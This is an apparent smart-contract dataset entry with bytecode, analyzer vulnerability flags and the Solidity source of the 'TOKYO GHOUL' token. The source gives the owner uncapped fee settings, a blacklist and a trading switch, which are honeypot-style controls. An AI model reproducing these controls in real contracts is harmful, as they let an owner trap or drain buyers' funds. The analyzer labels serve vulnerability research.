fff81111561237157612370612ca5565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b661344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190613b8e565b816001815181106124a5576124a461344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613cb4565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af91906139cb565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb90613d5a565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f9190613d7a565b905082848261272e9190613e03565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613ea6565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a296959493929190613ec6565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f49190613f3c565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906130ae565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190612f17565b60405180910390fd5b5060008385612b2b9190613e03565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906130ae565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cdd82612c94565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca5565b5b80604052505050565b6000612d0f612c7b565b9050612d1b8282612cd4565b919050565b600067ffffffffffffffff821115612d3b57612d3a612ca5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d7c82612d51565b9050919050565b612d8c81612d71565b8114612d9757600080fd5b50565b600081359050612da981612d83565b92915050565b6000612dc2612dbd84612d20565b612d05565b90508083825260208201905060208402830185811115612de557612de4612d4c565b5b835b81811015612e0e5780612dfa8882612d9a565b845260208401935050602081019050612de7565b5050509392505050565b600082601f830112612e2d57612e2c612c8f565b5b8135612e3d848260208601612daf565b91505092915050565b600060208284031215612e5c57612e5b612c85565b5b600082013567ffffffffffffffff811115612e7a57612e79612c8a565b5b612e8684828501612e18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec9578082015181840152602081019050612eae565b83811115612ed8576000848401525b50505050565b6000612ee982612e8f565b612ef38185612e9a565b9350612f03818560208601612eab565b612f0c81612c94565b840191505092915050565b60006020820190508181036000830152612f318184612ede565b905092915050565b6000819050919050565b612f4c81612f39565b8114612f5757600080fd5b50565b600081359050612f6981612f43565b92915050565b60008060408385031215612f8657612f85612c85565b5b6000612f9485828601612d9a565b9250506020612fa585828601612f5a565b9150509250929050565b60008115159050919050565b612fc481612faf565b82525050565b6000602082019050612fdf6000830184612fbb565b92915050565b60008060408385031215612ffc57612ffb612c85565b5b600061300a85828601612f5a565b925050602061301b85828601612f5a565b9150509250929050565b6000819050919050565b600061304a61304561304084612d51565b613025565b612d51565b9050919050565b600061305c8261302f565b9050919050565b600061306e82613051565b9050919050565b61307e81613063565b82525050565b60006020820190506130996000830184613075565b92915050565b6130a881612f39565b82525050565b60006020820190506130c3600083018461309f565b92915050565b6000806000606084860312156130e2576130e1612c85565b5b60006130f086828701612d9a565b935050602061310186828701612d9a565b925050604061311286828701612f5a565b9150509250925092565b600060ff82169050919050565b6131328161311c565b82525050565b600060208201905061314d6000830184613129565b92915050565b61315c81612d71565b82525050565b60006020820190506131776000830184613153565b92915050565b61318681612faf565b811461319157600080fd5b50565b6000813590506131a38161317d565b92915050565b600080604083850312156131c0576131bf612c85565b5b60006131ce85828601612d9a565b92505060206131df85828601613194565b9150509250929050565b600080fd5b60008083601f84011261320457613203612c8f565b5b8235905067ffffffffffffffff811115613221576132206131e9565b5b60208301915083602082028301111561323d5761323c612d4c565b5b9250929050565b60008083601f84011261325a57613259612c8f565b5b8235905067ffffffffffffffff811115613277576132766131e9565b5b60208301915083602082028301111561329357613292612d4c565b5b9250929050565b600080600080604085870312156132b4576132b3612c85565b5b600085013567ffffffffffffffff8111156132d2576132d1612c8a565b5b6132de878288016131ee565b9450945050602085013567ffffffffffffffff81111561330157613300612c8a565b5b61330d87828801613244565b925092505092959194509250565b60006020828403121561333157613330612c85565b5b600061333f84828501612d9a565b91505092915050565b60006020828403121561335e5761335d612c85565b5b600061336c84828501613194565b91505092915050565b60006020828403121561338b5761338a612c85565b5b600061339984828501612f5a565b91505092915050565b600080604083850312156133b9576133b8612c85565b5b60006133c785828601612d9a565b92505060206133d885828601612d9a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613418602083612e9a565b9150613423826133e2565b602082019050919050565b600060208201905081810360008301526134478161340b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134b782612f39565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ea576134e961347d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613551602683612e9a565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602483612e9a565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613675602283612e9a565b915061368082613619565b604082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613707602583612e9a565b9150613712826136ab565b604082019050919050565b60006020820190508181036000830152613736816136fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613799602383612e9a565b91506137a48261373d565b604082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061382b602983612e9a565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000613897601e83612e9a565b91506138a282613861565b602082019050919050565b600060208201905081810360008301526138c68161388a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613903601c83612e9a565b915061390e826138cd565b602082019050919050565b60006020820190508181036000830152613932816138f6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613995602383612e9a565b91506139a082613939565b604082019050919050565b600060208201905081810360008301526139c481613988565b9050919050565b60006139d682612f39565b91506139e183612f39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1657613a1561347d565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000613a7d602683612e9a565b9150613a8882613a21565b604082019050919050565b60006020820190508181036000830152613aac81613a70565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0f602383612e9a565b9150613b1a82613ab3565b604082019050919050565b60006020820190508181036000830152613b3e81613b02565b9050919050565b6000613b5082612f39565b9150613b5b83612f39565b925082821015613b6e57613b6d61347d565b5b828203905092915050565b600081519050613b8881612d83565b92915050565b600060208284031215613ba457613ba3612c85565b5b6000613bb284828501613b79565b91505092915050565b6000819050919050565b6000613be0613bdb613bd684613bbb565b613025565b612f39565b9050919050565b613bf081613bc5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c2b81612d71565b82525050565b6000613c3d8383613c22565b60208301905092915050565b6000602082019050919050565b6000613c6182613bf6565b613c6b8185613c01565b9350613c7683613c12565b8060005b83811015613ca7578151613c8e8882613c31565b9750613c9983613c49565b925050600181019050613c7a565b5085935050505092915050565b600060a082019050613cc9600083018861309f565b613cd66020830187613be7565b8181036040830152613ce88186613c56565b9050613cf76060830185613153565b613d04608083018461309f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d44601b83612e9a565b9150613d4f82613d0e565b602082019050919050565b60006020820190508181036000830152613d7381613d37565b9050919050565b6000613d8582612f39565b9150613d9083612f39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613dc957613dc861347d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e0e82612f39565b9150613e1983612f39565b925082613e2957613e28613dd4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e90602183612e9a565b9150613e9b82613e34565b604082019050919050565b60006020820190508181036000830152613ebf81613e83565b9050919050565b600060c082019050613edb6000830189613153565b613ee8602083018861309f565b613ef56040830187613be7565b613f026060830186613be7565b613f0f6080830185613153565b613f1c60a083018461309f565b979650505050505050565b600081519050613f3681612f43565b92915050565b600080600060608486031215613f5557613f54612c85565b5b6000613f6386828701613f27565b9350506020613f7486828701613f27565b9250506040613f8586828701613f27565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db5eff955a425364653285bee2a03cde5339de2f43c697c8ea5b0049caf9d16764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,229 |
0x831eafb9e3f5bd6dae9b8b267ed395e320d2d548
|
/*
TOKYO GHOUL
Website: https://tokyoghoul.space/
Telegram: @OfficialTokyoghoul
Twitter: https://twitter.com/TokyoGhoulETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GHOUL is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "TOKYO GHOUL";//////////////////////////
string private constant _symbol = "GHOUL";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 10;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 10;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x87d31794fa545BF2aFF5E97F2871cCEa44b611Ff);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x87d31794fa545BF2aFF5E97F2871cCEa44b611Ff);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051e578063dd62ed3e1461053e578063ea1644d514610584578063f2fde38b146105a457600080fd5b8063a2a957bb14610499578063a9059cbb146104b9578063bfd79284146104d9578063c3c8cd801461050957600080fd5b80638f70ccf7116100d15780638f70ccf7146104155780638f9a55c01461043557806395d89b411461044b57806398a5c3151461047957600080fd5b806374010ece146103c15780637d1db4a5146103e15780638da5cb5b146103f757600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103575780636fc3eaec1461037757806370a082311461038c578063715018a6146103ac57600080fd5b8063313ce567146102fb57806349bd5a5e146103175780636b9990531461033757600080fd5b80631694505e116101a05780631694505e1461026957806318160ddd146102a157806323b872dd146102c55780632fd689e3146102e557600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023957600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae8565b6105c4565b005b3480156101ff57600080fd5b5060408051808201909152600b81526a1513d2d653c811d213d55360aa1b60208201525b6040516102309190611c12565b60405180910390f35b34801561024557600080fd5b50610259610254366004611a3e565b610671565b6040519015158152602001610230565b34801561027557600080fd5b50601454610289906001600160a01b031681565b6040516001600160a01b039091168152602001610230565b3480156102ad57600080fd5b50662386f26fc100005b604051908152602001610230565b3480156102d157600080fd5b506102596102e03660046119fe565b610688565b3480156102f157600080fd5b506102b760185481565b34801561030757600080fd5b5060405160098152602001610230565b34801561032357600080fd5b50601554610289906001600160a01b031681565b34801561034357600080fd5b506101f161035236600461198e565b6106f1565b34801561036357600080fd5b506101f1610372366004611baf565b61073c565b34801561038357600080fd5b506101f1610784565b34801561039857600080fd5b506102b76103a736600461198e565b6107cf565b3480156103b857600080fd5b506101f16107f1565b3480156103cd57600080fd5b506101f16103dc366004611bc9565b610865565b3480156103ed57600080fd5b506102b760165481565b34801561040357600080fd5b506000546001600160a01b0316610289565b34801561042157600080fd5b506101f1610430366004611baf565b610894565b34801561044157600080fd5b506102b760175481565b34801561045757600080fd5b5060408051808201909152600581526411d213d55360da1b6020820152610223565b34801561048557600080fd5b506101f1610494366004611bc9565b6108dc565b3480156104a557600080fd5b506101f16104b4366004611be1565b61090b565b3480156104c557600080fd5b506102596104d4366004611a3e565b610949565b3480156104e557600080fd5b506102596104f436600461198e565b60106020526000908152604090205460ff1681565b34801561051557600080fd5b506101f1610956565b34801561052a57600080fd5b506101f1610539366004611a69565b6109aa565b34801561054a57600080fd5b506102b76105593660046119c6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059057600080fd5b506101f161059f366004611bc9565b610a59565b3480156105b057600080fd5b506101f16105bf36600461198e565b610a88565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c65565b60405180910390fd5b60005b815181101561066d5760016010600084848151811061062957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611d78565b9150506105fa565b5050565b600061067e338484610b72565b5060015b92915050565b6000610695848484610c96565b6106e784336106e285604051806060016040528060288152602001611dd5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d2565b610b72565b5060019392505050565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107665760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b957506013546001600160a01b0316336001600160a01b0316145b6107c257600080fd5b476107cc8161120c565b50565b6001600160a01b038116600090815260026020526040812054610682906